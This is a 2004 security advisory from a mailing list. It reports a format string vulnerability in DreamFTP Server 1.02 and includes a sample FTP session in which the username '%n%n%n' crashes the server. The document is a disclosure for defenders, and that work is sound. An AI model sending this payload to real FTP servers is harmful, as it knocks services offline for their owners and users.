[NT] Format String Vulnerability in DreamFTP (User command)

From: SecuriTeam (support_at_securiteam.com)
Date: 02/11/04

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Date: 11 Feb 2004 10:25:02 +0200

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      Format String Vulnerability in DreamFTP (User command)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.bolintech.com/> Dream FTP Server provides powerful, multi
    threaded and robust FTP server performance with a user-friendly and
    easy-of-use interfaces. The DreamFTP server suffers from a format string
    vulnerability in the USER command.

    DETAILS

    Vulnerable Systems:
     * DreamFTP Server version 1.02

    When connecting to the FTP server and supplying %n%n%n for the username,
    the FTP server crashes.

    Example:
    C:\>ftp 192.168.1.101
    Connected to 192.168.1.101.
    220- ****************************************
    220-
    220- Welcome to Dream FTP Server
    220- Copyright 2002 - 2004
    220- BolinTech Inc.
    220-
    220- ****************************************
    220-
    220
    User (192.168.1.101:(none)): %n%n%n
    Connection closed by remote host.

    **Application Crashes**

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:badpack3t@security-protocols.com> badpack3t.

    The original article can be found at:
    <http://www.security-protocols.com/modules.php?name=News&file=article&sid=1722> http://www.security-protocols.com/modules.php?name=News&file=article&sid=1722.

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